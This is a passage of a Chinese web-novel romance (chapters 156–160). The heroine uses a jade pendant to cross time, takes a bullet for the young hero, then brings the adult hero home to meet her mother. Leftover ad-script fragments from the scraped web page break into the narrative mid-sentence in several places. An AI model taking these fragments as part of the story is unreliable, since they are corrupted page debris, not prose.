还是顾明生听得不耐烦了,扯了扯她道:“你就不能少说两句,还有先听听儿子的想法。” 顾母:“……” 她或许不是个好人,但绝对是个好妈妈。 “儿子,你为什么会有这样的想法?” 顾景尧垂眸,声音平静的说:“妈,有些仇,不亲自报,会记挂一辈子的。” “那女人这辈子的执念不就是想和我在一起,嫁给我,那么我就如她愿,同样也一定会让她后悔嫁给我的。” 毕竟是被当做继承人培养的,哪怕内心此时崩溃到想嘶吼,想砸了房间里的所有东西,甚至还想把知道他……那里受伤的人都灭口了。 可是顾景尧忍下来了,这种时候,他再不懂得权衡利弊,选择对自己最有利的,那等待他就真的可能是万劫不复了。 顾母还想说什么,却又被顾明生扯住了。 其实,顾母这回真的不是要继续反对。 她只是得了某一类当妈的通病,在她心里,儿子是最优秀的,哪怕是天上的仙女儿也只是堪堪与她儿子相配。 就算是支持了儿子的想法,嘴上还是想发泄两句。 …… 白幺幺不知道自己差点又被人惦记上了,此时她正边哼着歌,边给白母揉肩捶背。 白母眯着眼,舒服的享受着白幺幺的服务,而白幺幺那透着开心愉悦的歌声让她好奇。 “是有什么开心的事吗?说出来给妈听听。” 白幺幺:“……” 歌声停顿了下,白幺幺眸中划过一抹尴尬之色。 她为什么开心? 想到反复看了好几遍的那个视频,白幺幺哪里敢据实说。 她很自然的扯谎道:“妈,我这几天不是下午都跑武馆去了,别说,我还挺有练武天份的,教练夸我每天都在进步,而且还进步很大。” 白母也没怀疑,鼓励道:“不错,加油,那你就继续好好跟着教练学,这样你以后一个人在外面时,妈也能更放心些。” “对了,每天来接你去武馆的那个小伙子是谁呀?你们什么时候认识的?哪天带人到家里来喝杯茶。” 白母突然话锋一转,直接把白幺幺问得一愣一愣的。 白母什么时候发现的? 还有,为什么她会有那种背着长辈偷偷谈对象被抓包的羞耻感。 最后,她才没谈对象了。 “他……他啊……” 白幺幺手上动作没停,继续给白母按着肩,脑中则在拼命地想着说词。 “就是,就是我初中野营的时候,不是追着蝴蝶……” “所以那个小伙子就是你一直在找的大哥哥?” 白母回头,眸中完全没有那种自家白菜被猪拱了的气愤,甚至眉眼还带着浅浅笑意。 “是的。” 白幺幺点了点头。 紧接着白母开始查户口式的问问题。 白幺幺:“???” 不是,他们目前还不是那种关系了。 只是白母问题一个接着一个的,白幺幺同志真的有点招架不住呀。 她忙求饶道:“妈,我们不是那种关系,真的。” “知道,知道。” 白母给了她一个“我懂,我都懂”的眼神,末了还小声嘀咕道:“不就只是现在暂时还不是。” 白幺幺:“……” 下午,到两人约定的时间。 顾石川的车子早早就等在那,白幺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺走过去,对方还贴心的下车给她开车门。 这服务,白幺幺已经享受了好几天。 她其实很想告诉对方,没必要连车门都下来给她开的。 只是感觉到对方似乎很乐在其中,她到嘴边的话最终没说了。 白幺幺上车坐好后,很随意的说道:“我妈发现你的存在了。” 顾石川:“……” 她这话对于顾石川来说,无异于一颗炸弹,炸得他一时脑袋嗡嗡的。 也不知道过了多久,顾石川才回神,语气有些紧张的问,“阿姨怎么说?需不需要我和你回家去和她解释下?” 白幺幺摆手,“不用,我已经和我妈解释了,说我们就是 普通朋友关系。” “是,是吗,那就好。” 是呀,他们还只是普通朋友关系,顾石川压下心中的失落。 白幺幺当然察觉到旁边人的情绪变化,她很努力的憋着笑。 不得不否认,有些男人可爱起来,真的很迷人。 她近期最喜欢做的事之一,就是逗这男人。 “不过,我妈有说让我哪天带你到家里喝喝茶,你看下哪天合适。” 惊喜来得有点快,把顾石川砸懵了。 久久没得到回应,白幺幺故意会错意道:“你要是觉得不合适,不想来没事的,我妈那边我会解释。” 顾石川:“???” 他不是,他没有。 他忙补救道:“我随时都有空的,现在就有空,不过第一次上门拜访阿姨,两手空空,不带礼物是不是不太好。” “噗嗤!” 白幺幺同志最终还是没忍住,低低笑出声来。 “咱们就是普通朋友,又不是新女婿第一次见丈母娘,你紧张啥,还有纠结啥带不带礼物的。” 顾石川抬手摸了摸后脑勺,“是,是吗,不好意思,是我太紧张了。” 由于最近脸红的次数太多了,红着红着,人也慢慢开始不那么容易红脸了。 前面努力憋着笑的司机:……没眼看,真没眼看呀! 怎么三爷一对上白小姐,简直就跟完全变了个人似的。 要不是他亲眼围观了全程,说出去谁信呀! 第156章 大佬的舔狗青梅之错位时空的爱恋(43) 晚上。 白幺幺照例像往常一样,睡前来趟异世界游。 傍晚的落日很美,风也吹得人很舒服。 树下,十七八岁的少女坐在秋千椅上,七八岁的小男孩站在后面,单手轻轻松松的推着秋千椅。 少女时不时会回头,冲着身后人喊道:“再推高点,推高点。” 在夕阳余辉的映衬下,好一派岁月静好的温馨画面。 当然,也幸好院子中没其他人,不然要是让人瞧见,一定会觉得推秋千椅的那小男孩是不是有病。 明明秋千椅上没人,自己还不坐上去,就在后面推个空秋千椅做什么。 两个世界,不同时期的顾石川,都一样容易害羞,容易脸红。 白幺幺近期最喜欢做的事就是把人逗得面红耳赤的。 “小石,你长大后想找什么样的对象?” 白幺幺突然这么一问,真有点难倒身后人。 顾石川抿着唇,一时也不知道要怎么回答。 久久没得到回答,白幺幺转过头去催促道:“小石,你快说呀!” “我,我不知道。” 顾石川低着头,不让人看出他的紧张。 白幺幺又问:“那你对像姐弟恋啊,母子恋啊是啥看法,以后会找比你大很多岁的对象吗?” 顾石川:“……” 她……她这话是什么意思? 是在暗示他吗? 她瞧着才十七八岁,可她是鬼,如果加上鬼龄,应该……应该比他大很多岁吧! 顾石川轻轻点头,小声道:“我……我都可以的。” 白幺幺:“???” 这个小骗子。 未来你小子明明是想老牛吃嫩草来着的。 白幺幺似笑非笑的说道:“小石,你现在还小不懂,你们男人找对象呀,十八岁时想找十八岁的,二十八岁时还想找十八岁的,哪怕是七老八十了,也还想找十八岁的。” 顾石川摇头,“我,我才不会的。” 似是以为她不相信,顾石川急了,秋千也不推了,绕到前面来。 “真的,我不喜欢十八岁的,我……我……我……” 瞧见人憋了半天,还在我我我,白幺幺又笑了,只不过这回笑得有点意味深长呀! 她这一笑就跟踩着了他背后小尾巴似的,人不仅急了,还隐隐有些生气了。 白幺幺:……难得呀,她真的很少看到人有如此大情绪波动。 “生气呢?”白幺幺明知故问道。 “没有。” 情绪来得快,去得也快,顾石川已经调整好,也想明白了。 有些事,光说是没用的,反正只管去做就行,日久见人心。 “真没有?” 白幺幺同志继续不依不饶。 顾石川点头,“真没有,还有我不会生你气的,也不会对你发脾气的。” 他刚刚急起来,有点生气,那是在生自己的气。 觉得自己怎么连个话都说不明白,瞻前顾后的,像个没胆的懦夫。 “好啦,我相信你了,别那么严肃么,笑一个。” 白幺幺从秋千椅上下来,她准备回屋去了。 顾石川听话的扯起嘴角,露出一抹淡笑,快步追上她。 变故总是发生在电光火石间。 枪声响起时,白幺幺想也没想,第一时间反身朝后扑去。 ……而后,没有意外的从对方身体上穿过,这时她才反应过来自己又没实体。 她忙回头去看人的情况,见人自己躲开了,才暗暗松了口。 这声枪响后,安静的小洋楼彻底热闹起来。 枪声不断,战况焦灼。 白幺幺在其中可以说是负距离观战,心里那个着急呀。 “小石,等下会来援军吗?” 每次过来,都是二十四小时形影不离的跟着人,当然知道这人现在是为国家做事。 身份地位应该还不低,不然不会连开车的司机都是随身佩带枪支的。 见人摇头,白幺幺心中担忧更甚了。 对方明显是有备而来的,一个个人高马大,身强体壮的,人数上就比他们多,而且不清楚还有没有后手。 当看到又一个人为了保护顾石川中弹牺牲,白幺幺都快急红眼了。 尽管知道另一个世界的顾石川肯定是挺过了这场刺杀,可谁知道会不会出现什么意外。 “小石,小心左边。” “小石,蹲下。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 这种时候,白幺幺也只能发挥这种作用了。 可有时,就算白幺幺眼疾嘴快的提醒了,人是避开了被子弹打中要害,但皮外伤还是避免不了。 小小身影,被人拥护着穿梭在枪林弹雨中,多次与死神擦肩而过时,神色始终淡定从容。 感觉已经过去很久了,其实枪声打响开始,竟然才过去了不到十分钟。 作为主战场的小洋楼,不管是外面的花园,还是楼内,全是一片狼藉,充斥着浓重的血腥味。 战况呈现一边倒的趋势,没办法,对方在人数上占了绝对优势。 白幺幺心里越来越不踏实,她再次提高警惕,眼 观六路,耳听八方。 蓦地,她瞳孔骤缩。 妈的,竟然还有潜伏的狙击手。 那子弹明显是朝着人后胸心脏处射去的,白幺幺呼吸一下子停滞了。 这种时候喊人避开已经晚了,如果她有实体,有实体的话,还能将人扑倒或者踢开。 时间仿佛在这一刻按下暂停键,白幺幺脑中各种声音杂乱响起。 如果两个世界是独立的,那…… 如果不是,这个世界的小石没了,又会产生什么蝴蝶效应? 这个世界的小石会死吗? 不行,不管是哪个世界的小石都不能死…… 等脑中声音轰的一下全部消失,白幺幺皱了皱眉,疑惑自己是不是幻听了。 因为,她竟然听到小石在哭。 哭声还是那种撕心裂肺,仿若痛到极致的,让人听了心中莫名的也会跟着难过。 循着哭声,白幺幺目光很快搜寻到小石的身影。 已经哭成泪人的人双眸猩红,眼里满是祈求的看着她。 “别走,别消失,好不好,我求你。” 白幺幺:“???” 她这时才后知后觉的发现自己身体的某些部位已经开始慢慢在变透明。 “你不是问我幸福吗?我不幸福的,在你没出现前,我从未感受到过幸福,可是你出现后,我终于知道幸福是什么感觉了,所以……” 顾石川的声音沙哑,近乎哀求,“不要离开,不要消失好不好,只要你一直陪在我身边,我就是幸福的。” 第157章 大佬的舔狗青梅之错位时空的爱恋(44) 白幺幺用最短时间理清楚发生了什么。 原来子弹射过来时,她心中因着想要救人,不想人有事,而对自己不能拥有实体的执念太深。 一开始就有些区别对待,还有点不靠谱的玉佩终于靠谱一回。 玉佩以耗尽能量为代价,让白幺幺短暂有了实体。 顾石川感知到危险,知道躲开已经来不及了,忙转头找寻她的身影。 然后,就看到了令他目眦欲裂的一幕。 原本……原本应该打在他身上的子弹,没入了她的身体里。 他没有看到刺目的红,而是看到比这还令他惊恐的一幕。 她被子弹射中的那个地方开始慢慢变透明,变透明,甚至开始蔓延…… 看人哭成这样,白幺幺同志也很想答应不走的,只是这根本由不得她。 也幸好千钧一发之际,救兵来了,不然她离开都离开得不安心。 听着对方苦苦哀求,说不动容,怎么可能。 特别是对方说的那些话,白幺幺的心里有那么一瞬间,真想答应下来。 可是,答应下来,该做不到的还是做不到,该消失的还是会消失。 最后,白幺幺在快彻底变透明消失前,语气非常非常认真的说:“小石,别哭,你要好好活着,好好长大,未来,未来我们一定会再见面的。” “记住了吗?一定要照顾好自己,还有男孩子太瘦了不好看,未来我们一定还会相见的,相信我!” …… “嚯……” 白幺幺猛地从床上坐起来,大口大口的喘着气。 心情肉眼可见的差。 这都叫些什么事呀! 把玉佩从脖子上取下来,认真打量了下。 别说,的确有了变化。 玉佩的光泽似乎暗淡了些,比较明显是原本玉佩中的一条很淡很淡的白色纹路没了。 白幺幺有些不死心的催动时空门,只是结果注定让她失望。 将玉佩重新戴上,白幺幺下床想去卫生间洗把脸。 走到一半时,她想到什么,脚步匆匆跑进浴室,一把关上门。 把睡衣脱掉,白幺幺将后背对着镜子,可以很清楚的看到她右肩甲骨下方多出了一道圆形的痕迹。 白幺幺:“……” 这玉佩还真是,她一时都找不到形容词来。 让她短时间拥有实体以血肉之躯替人挡子弹,过程之短暂,都还没得及感受到疼痛。 回来后,伤口不治而愈,就只留下这么一道淡淡痕迹。 怎么感觉这似乎是某门最后的倔强,证明它曾经存在过,也证明白幺幺的确在两个时空来回穿越过。 一切真的不是梦,是真实发生过的,这道痕迹就是最好的证据。 手指轻轻摩挲这道浅浅印记,不知道的看了还以为这是道胎记了。 而白幺幺不知道的是,未来,某男人在床上时,总喜欢虔诚的亲吻着这道印记。 特别是,第一次的时候,某男人亲着亲着,滚烫的泪滴落在她后背皮肤上,烫得她…… 同一时间,某一别墅的卫生间里,顾石川又捧了把冷水往自己脸上泼。 自从找她后,他就没再做过噩梦。 没想到,今晚他竟然又做噩梦了,还是梦见她替他挡枪消失的那一幕。 顾石川从旁边抽了块毛巾在脸上胡乱擦一把,心里莫名的有些惴惴不安。 当年,眼睁睁看着人在她面前彻底消失,他当时真的有股冲动,要跟着她一起离开。 只是,她说,他们还会在未来相见的。 让他相信她。 他最终选择相信她。 几十年的等待,几十年的苦苦寻觅,最终他找到了她。 其实,一直等不到人的时候,他不是没有怀疑过,她是不是骗他了。 以她灵魂的状态怎么可能接住子弹,所以,她当时是不是用了什么秘法。 例如小说里面写的那种,以燃烧自己寿元,强行提升实力修为的秘法,最后的结果就是…… 想到她有可能……魂飞魄散…… 顾石川好几次都想直接去陪她。 幸亏,幸亏他一直记着她的话,没真做傻事。 她说男孩子太瘦不好看,他平时哪怕再没胃口,都会好好吃饭。 不想下次危险来临时,还要让她拼了命的护他周全,他开始更拼命锻炼自己。 顾石川抬手摸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向自己后背右肩的某个位置,隔着轻薄的睡衣,指腹下那道疤痕的触感更加清晰了。 顾石川自言自语道:“不会了,她这次回来,一定不会再离开他了。” 只是想到今夜突然又做起的噩梦,他心中止不住咚咚打鼓。 眉心无意识的拢紧,顾石川只是迟疑了下,还是回到卧室拿起手机。 白幺幺刚从浴室出来,就听到手机响。 走过去一看,看清来电人是谁,她微微怔愣了下。 而后想也不想,就按下接听键。 电话接通后,对面久久没出声,就在白幺幺怀疑是不是对方不小心按到了时,才有声音传来。 “幺幺,你,你睡了吗?我现在 打电话过来,有没有打扰到你休息?” 白幺幺:“???” 怎么感觉人声音听着有点不对劲。 “没了,我还没睡,不过也准备要睡了。” “这样啊,那你早点休息,晚安。” 白幺幺:“???” 所以,打这么通电话过来,就是为了说这几句话?! 就在白幺幺无语加怀疑时,对方终于又说话了。 “那个,我明天早上去你家找你,顺便拜访下阿姨,可以吗?” 顾石川其实很想和白幺幺多聊几句的,可是听到她说准备要睡觉了,便立马熄了心思。 他总不能因为自己做噩梦了,心里不安稳,就打扰她休息。 只是,他真的很想见到她。 晚上肯定是不行,那早上。 他想早上早早的就见到她,等到中午,他等不了。 有些话,就是要不经大脑时,才有胆子说出来。 每每深思熟虑后,都会生出各种理由借口,来给自己的胆怯遮掩。 白幺幺愣了下,还是点了点头。 反应过来对方看不到,她轻咳一声道:“可以是可以,不过我妈可能有点话唠,我提前给你打下预防针。” “你放心,阿姨就是拉着我讲上一天,我也一定会一直耐心听着的。” 其实,哪里是话唠,两人彼此心照不宣。 丈母娘第一次见女婿,那问题不多才奇怪了。 第158章 大佬的舔狗青梅之错位时空的爱恋(45) 挂了电话,顾石川整个人陷入兴奋紧张的状态中。 想到什么,他放下手机往衣帽间走去。 在里面待了足足半小时,才出来。 一出来,他又立马拿起手机打电话,那表情那语气像是在交代什么十万火急的重要事情。 好吧,可不是十万火急的重要事情。 明早就要去见未来丈母娘,这礼物不得赶紧连夜备好。 要不是情况不允许,他必须早点睡,明天才能有个好精神头。 准备礼物这事,他肯定会亲自过去挑选的。 顾石川以为他会失眠睡不着的,可是没有,一夜好梦。 或许是感知到今天有喜事,今早那窗外的小鸟都比平时叫得欢快。 幸亏衣服昨晚就选好了。 一大早的,顾石川比平时多花了半个小时来收拾自己。 上车后,他只是犹豫了下,还是开口问道:“我今天穿这身打扮怎样?” 司机:“???” 我在哪?我在干嘛?怎么出现幻听了? 司机一开始真的有点懵,不过也就懵了一两秒。 车里就他和三爷两人,所以三爷这问题肯定是在问他。 好歹壮着胆子当过一回三爷的恋爱军师,此刻突然听到这么个问题,司机脑中有个大胆的猜测。 ……难道三爷终于追求到白小姐,今天是他们确认关系后的第一次约会。 只是,两人什么时候确认关系的,他每天接送三爷进进出出的,特别是昨天三爷和白小姐分开后,神情没啥不正常的啊。 最后,司机将一切归结于,三爷果然还是三爷,表情管理功夫就是厉害。 等到今早要去约会了,才主动露出端倪让他猜测到。 司机很认真的打量一番,竖起大拇指夸道:“三爷,好看,又精神又帅气,说是像画卷里走出来的贵公子都不夸张。” “三爷,您等下是要和白小姐去约会吗?” 顾石川:“……” 约会,当他不想吗? 可他连人都还没追到,约啥会呢? 还有,三爷不要面子的吗? 不,三爷要面子的。 所以,顾石川清了清嗓子,“不是约会,我早上是要去幺幺家拜访下白阿姨。” 顾石川:……他没撒谎,至于司机要怎么误会,这就真怪不了他了。 司机:“……” 厉害了,我滴三爷。 他当年和对象谈了快两年,才上门去见的丈母娘。 没想到,三爷这速度真是够可以的呀。 嗯,一定是他之前给三爷传授的那些东西起到效果了。 司机朝顾石川又竖了下大拇指,“三爷,厉害啊!” 有点心虚的顾石川:“……” 他沉默没有回应。 司机想到什么,忙关心的问道:“三爷,第一次登门拜访,您有准备礼物吗?” 顾石川轻点了下头。 司机见了,终于放心的转过头去启动车子,向着白幺幺家驶去。 这一路上,司机那开的是又稳又快。 白幺幺昨晚做了一整宿的梦,早上醒来精神有点萎靡,整个人不怎么在状态中。 洗漱完,赶紧去厨房准备早餐,直接把昨晚某事给抛到九霄云外了。 因此,当她和白母吃完早餐,她收拾好碗筷进厨房要洗时,门铃响起,她才猛然想起。 只是吧,为时已晚。 白幺幺哒哒哒从厨房跑出来,就看到白母已经走过打开门,正和门外的人对视着。 白幺幺轻拍了下自己脑袋,昨晚挂了电话,想着白母应该休息了,就没过去打扰。 反正等明早醒来后,再说也一样的。 谁能想到,她昨晚没睡好,早上醒来一时把这事给忘记了。 不过,白幺幺担心纯粹是白担心。 没办法,顾石川的外型以及周身气质太加分了。 只一眼,白母就满意的不得了。 再者,这还是女儿一直在找的那个大哥哥,在白母这已经有了层滤镜。 自己生的孩子,自己还不了解。 两人的这种缘分可遇不可求,加上人瞧着就很优秀,最终要是能走到一起,也是很不错的。 “阿姨,早上好。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾石川礼貌的问好,心中有些小紧张,面上却不显。 “你好,你好,是过来找幺幺的吗?我现在就喊她出来。” 白母说着就转头,刚好和已经走过来的白幺幺对上。 她忙朝女儿使了使眼色,而后笑呵呵道:“既然你朋友过来了,你把碗放着别洗了,赶紧回屋换下衣服,年轻人有事先去忙自己的,还有别让人家小伙子等久了。” 白幺幺:“……” 顾石川:“……” 两人视线短暂交汇,皆读懂了对方的意思。 白幺幺心虚呀,这么重要的事,她竟然忘记了。 特别是从男人眼中捕捉到的那抹小委屈,白幺幺同志竟有种自己好像有点渣的感觉。 这种时候认错态度必须良好。 她先给了还在门口站着的人一个安抚的 眼神,而后转头看向白母。 “妈,那个,你不是说让我抽空带着人……新认识的朋友来家里坐坐吗?昨天晚上约好的,我本来……” 白幺幺解释完,还懊恼的拍了拍自己脑袋,“都怪我这记性。” 白母那也算经历大风大浪的人,白幺幺这么一解释,她也不纠结,反而脸上笑容更加灿烂了几分。 白母高高兴兴将人请进来后,顾石川才刚落座,还没来得及将带来的礼物送出去,白母的问题就一个接着一个。 “你是幺幺的朋友,阿姨要怎么称呼你呀?还有你和幺幺是怎么认识的?” “阿姨,我叫顾石川,是幺幺的朋友,你喊我小顾就行。” 下意识,小石这个称呼,顾石川只想留给她一人喊。 之后他开始简单讲起两人认识的过程。 白母也就是明知故问,听完后马上接着下一个问题。 “小顾是吧,你今年几岁,是还在读大学吗?在哪上学,学的是什么专业?成绩怎么样?” “对了,你是哪里人,家里还有什么人?” …… 白幺幺在旁边听着两人一问一答,问的人越问越来劲,答的人也答得很积极,全程没有露出半丝不耐烦。 反正吧,她已经被忽视得彻底了。 第159章 大佬的舔狗青梅之错位时空的爱恋(46) 一个小时过去。 白幺幺瞅了相谈甚欢的两人一眼,继续当她的透明人。 又一个小时过去。 白幺幺瞅着还在聊,甚至升级成一副知己相见恨晚画面的两人。 她默默在心里摇摇头,同时朝某人竖起大拇指,厉害呀! 见两人这是不聊上一早上不罢休,白幺幺起身去厨房了。 按照白母的性格,中午一定会留人下来吃饭的。 白母那是丈母娘看女婿,越看越满意,此时全部注意力都在顾石川身上,根本没注意到白幺幺离开。 顾石川别看很专注在和白母聊天,却一直有分一丝心神在白幺幺身上,留意着她脸上的表情变化。 毕竟,丈母娘很重要,但她更重要。 因此,白幺幺在旁边从头至尾的各种小表情变化,全收入他眼中。 当厨房飘出香气,白母才反应过来自己已经拉着聊了好几个小时。 “小顾啊,真不好意思,这人一旦上了年纪,话就有点多,” “不会的,阿姨,和您聊天挺愉快的,还能长不少见识。” 白幺幺刚好端着菜从厨房出来,听到某人的这话,嘴角抑制不住的抽了抽。 再高冷的男人呀,真的不是没耐心,也不是不会哄人,全看他对你上不上心。 白母这时终于想起她的亲亲女儿,回头刚好瞧见白幺幺转身进厨房的背影,而桌上已经摆好两道菜。 她回头笑呵呵的看向顾石川,“小顾啊,没想到咱们聊得如此投缘,晃眼都中午了,你午饭就在阿姨家里吃,顺便尝尝我家幺幺的手艺。” 想到什么,白母朝顾石川凑近了些,说起悄悄话来。 白幺幺端着道菜出来时,就看到两人在那交头接耳的,也不知道在说什么,嘴角再次抽抽。 白幺幺煮的都是些家常菜,除了那道白母爱吃的肉末茄子,她超常发挥,煮出来的味道很赞,其他的菜她依旧有意的控制着水准。 普通人家,吃饭时没那多规矩,比如食不言这条。 一顿饭吃下来,白母对顾石川的满意,那是全表现在脸上了。 白幺幺甚至怀疑,如果顾石川此时向白母提出想要求娶她,白母说不定真有可能直接把她打包送人了。 午饭后,又坐着闲聊了半个多小时。 白母有每天午睡会儿的习惯,顾石川瞧见人在打哈欠时,很识趣的提出要告辞了。 年轻人有年轻人的事,白母也怕耽误人家的正事,所以并没有挽留,就是推了推白幺幺让她送送人。 起身离开时,顾石川想起带来的礼物还没送出去,忙拿出来朝白母递去。 这个礼物,他想了很久,才特意连夜让人送过来的。 白母看着面前的红丝绒首饰盒,忙摇头推拒不收。 “小顾,你这是干嘛,快收回去。” 白母想法很简单,今天只是女儿第一次把人带过来让她瞧瞧,好好考察一番,算不得正式见面。 而且,按照女儿的意思,两人连关系都还没确认了,她哪里能收下这礼物。 再说了,也不知道盒子里装的是什么,如果很贵重,她真收下了,那算什么事呀。 似乎是看出白母所想,顾石川忙将盒子打开,里面是一条木珠子手串。 顾石川有些难为情的低了低头,“阿姨,这真不是什么值钱的东西,就是我几年前去旅游,在一个寺庙外小摊上买的,然后按照摊主建议拿到庙里过香炉,摊主说这样手串戴着能保平安,很灵验的。” “当时摊主像是怕我不买,随手从小摊上拿了一条,就往我手上塞,等付了钱,拿掉庙里过了香炉,我才发现这手串是女款的,想着也没花多少钱,而我也不喜欢在手上戴东西,就没找摊主换下款式了。” “早上出门时,想起了这手串,觉得一直这么放着浪费,就带过来送给阿姨,那个,阿姨你别嫌弃就是了。” “不嫌弃,小顾啊,阿姨不嫌弃的。” 白母一听东西是在寺庙外的小摊上买的,这种寺庙外小摊上卖的饰品,白母知道的,价位在几十上百块。 确认真不是什么贵重的东西,又听是已经过香炉,能保平安的,她便不再推脱,开心将东西收下。 还有,白母觉得这孩子简直太实诚了,连买下手串的详细经过都和她说。 换成别人,明明送出的不是什么值钱东西,甚至不是特意去买来的礼物,也不会这么大喇喇说出来。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 送礼,送礼,谁还不知道其中的弯弯绕。 就拿过节送礼,出现那种你送出去的某个礼盒,经过好几人手,最终又回到你手上的情况,真没啥好大惊小怪的。 在旁边再次看得嘴角抽抽的白幺幺同志:“……” 也就白母这种不识好货的,才会被某人忽悠。 满金星的小叶紫檀手串,那雕刻手艺,瞧着就知道价格不菲。 白幺幺不得不承认这男人有心了,没有选择那种一眼就能看出是否贵重的金银玉石首饰。 更没提着大包小包上门,里面全是些什么营养品,保健品。 甚至,还编了套如此有板有眼的说词, 反正她在旁边听着真的很想笑。 最后,白母不仅收下东西了,还当着人面把手串戴上,一副爱不释手的模样。 “小顾啊,虽然你送的这手串阿姨很喜欢,但以后买东西可不能这么马虎了,发现货不对板,不合适,当时就应该……” 白母不是没有瞧出顾石川家境应该还不错,可具体有多好,她就不清楚了。 只不过,她很爱女儿,从来没有生出要女儿攀高枝,嫁豪门的想法,满心想着女儿能幸福平安顺遂一生就好。 不然,原主提出想退掉当年定下的娃娃亲时,她也不会没犹豫的就表示支持。 不得不说,白母可能有很多小毛病,但她真的很爱女儿,是个很好很好的母亲。 被白母推出家门的白幺幺:“……” 她有些无奈的回头瞪了眼某人。 顾石川有些心虚的抬手摸了摸鼻子,“抱歉,你要是不想去,我……” “停。” 白幺幺忙打断对方,“走吧!” 聊天就是这样,话题很容易歪了。 也不知道两人怎么聊的,聊着聊着就聊到附近有座寺庙,里面求签很灵验的,特别是姻缘签。 一个感叹“真的吗?” 另一个就差拍胸脯保证,“真的,经常还有很多外地人慕名而来。” …… 一来一回,最后,似是被白母说得心动了,顾石川决定去寺庙逛逛。 白母一听,想也不想,直接将女儿给卖了。 第160章 大佬的舔狗青梅之错位时空的爱恋(47) 路上,白幺幺想了想还是道了声谢。 “今天,谢谢了,陪我妈聊那么久,也不嫌她烦,还把她哄得那么开心,最后,就是礼物有心了。” 顾石川忙道:“不,不用谢,都是我应该做的,还有阿姨很好很慈祥,我是真的很喜欢和她聊天。” 白幺幺勾唇笑了笑,算是对他的回答很满意。 “对了。” 白幺幺想到什么停住脚步,取下戴在脖子上的玉佩。 能量耗尽,时空门消失,这玉佩她继续留着也没用了。 “这玉佩是当年你掉的,我捡到后就一直想还给你,可是一直找不到你。” 顾石川没有马上伸手去接,而是盯着白幺幺手中的玉佩看起来。 白幺幺疑惑对方迟迟不把玉佩拿走,便问:“怎么?这玉佩不是你的吗?还是时间过去有点久了,你忘记自己曾经掉了这么块玉佩?” 顾石川想了想,还是接过玉佩,然后解释起来。 “这玉佩的确是我的,不过玉佩本身价值并不高,对我来说也没什么特别的意义,所以玉佩不见后,我便没去找找看。” “不过,要说起来,就是获得这玉佩的过程挺有趣的。” 对方不知道,白幺幺是知道的,别看玉佩瞧着平平无奇,人家可是真正的无价之宝,当然,前提是玉佩中的时空之门还在。 对于玉佩的来历,白幺幺相当好奇。 “说说看,怎么个有趣法。” 顾石川稍稍回忆了下,才开始娓娓讲述起来。 顾石川只当在与她分享一件很有趣的事,可是白幺幺听后觉得其中不简单。 玉佩是顾石川在遇见原主的那天早上刚得到的,下午遇见原主后,恰巧就掉了,让原主捡到。 而玉佩是一个不请自来的老和尚强买强卖给顾石川的。 老和尚神神叨叨的,一直强调顾石川是玉佩的有缘人,强行把玉佩塞到他手上,并找他要了一块钱算是买玉佩的钱,就离开了。 因着玉佩是这样来的,后面发现玉佩不见了,顾石川便没当一回事,也没去找。 白幺幺做出一副恍然大悟的模样。 “所以这玉佩对你来说并不重要,难怪我发了那么多失物招领的帖子都石沉大海。” 顾石川有那么一瞬间的不知所措,他想解释,可事实的确是这样。 白幺幺主动讨要道:“那这玉佩你还要吗?不要可以送我吗?” “好,好的,给你。” 顾石川把玉佩递给白幺幺,他很想说这个不值钱,她值得更好的东西。 白幺幺接过玉佩重新戴回去。 白母说的寺庙不大,不过香客是真的挺多的,有父母带着子女过来的,有情侣一起过来的。 白幺幺的长相清秀,要笑起来时,有了酒窝的加成,在人群中才比较吸睛,而顾石川的长相无疑就是那种一出现就会成为焦点的。 也幸好,两人有先见之明,下车时提前戴上口罩了。 不过两人通身的气质,还是引得不少人频频投来视线。 两人只是很虔诚的拜了拜,都很有默契的没去抽那个什么姻缘签。 今天之后,两人的联系更加频繁了。 隔三差五的,白母总会让白幺幺把人喊来家里吃顿饭。 再有三天,暑假就结束了。 爱学习的白幺幺同学:“……” 顾着“谈情说爱”,都把学习懈怠了,不应该,真不应该。 晚上,白幺幺接到了顾老爷子的电话。 有点意外,又有点不意外。 顾景尧和颜晞月要结婚了,婚礼就定在明天。 顾老爷子打电话过来当然不是邀请她去参加婚礼的,年纪大了,又喝了点小酒,絮絮叨叨说了很多,却没说到什么重点。 嗯,最后还哭了,哭得像个孩子似地。 一直喊着白父的名字,说对不起白父,没替他照顾好她们母女俩。 怎么说,白幺幺对这老爷子印象挺好的。 想到男主现在成了太监,她还是有那么一点点同情这老爷子,当然就一点点不能再多了。 后辈没教好,作为长辈也是有责任的。 挂了电话,白幺幺扫了眼通话时长。 三十几分钟! 顾家及时出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手,顾景尧被颜晞月刺伤的事被压下来,外界普通百姓哪里能知道。 至于圈子里个有能力知道的,碍于顾老爷子的原因,也不可能四处去说。 不知真相的,都以为顾景尧有情有义,毕竟颜家都破产了。 反正吧,这场婚礼,让顾家,特别是顾景尧赚足了好名声。 “碎双蛋”之仇,不用想都知道女主婚后的生活有多惨。 时光飞逝。 转眼再有半年,白幺幺就要大学毕业了。 她和顾石川是在一年前确认恋爱关系的,然后按照白母的意思,等她大学一毕业,两人就订婚。 怎么说,不是白母怕女儿嫁不出去,而是她觉得像顾石川这么好的女婿必须早早定下来。 白幺幺:“……” 有时候,她是真不知道某人到底给她妈灌了什么 迷魂汤。 反正现在她只要带着人回家,白母眼中就只有某人,不再有她这个亲亲女儿了。 酸呀! 白幺幺同志心里那个酸呀! 所以,每次送人离开时,在白母看不到的地方,白幺幺总要发泄式的揪揪某人的脸颊。 嘿嘿,白幺幺才不会承认,这个动作她很早就想做了。 ……想对另一个世界的小石做。 一回生二回熟,顾石川每次都很配合的放低身体。 哪怕白幺幺捏他脸颊时,是气鼓鼓,咬牙切齿的,他却十分乐在其中。 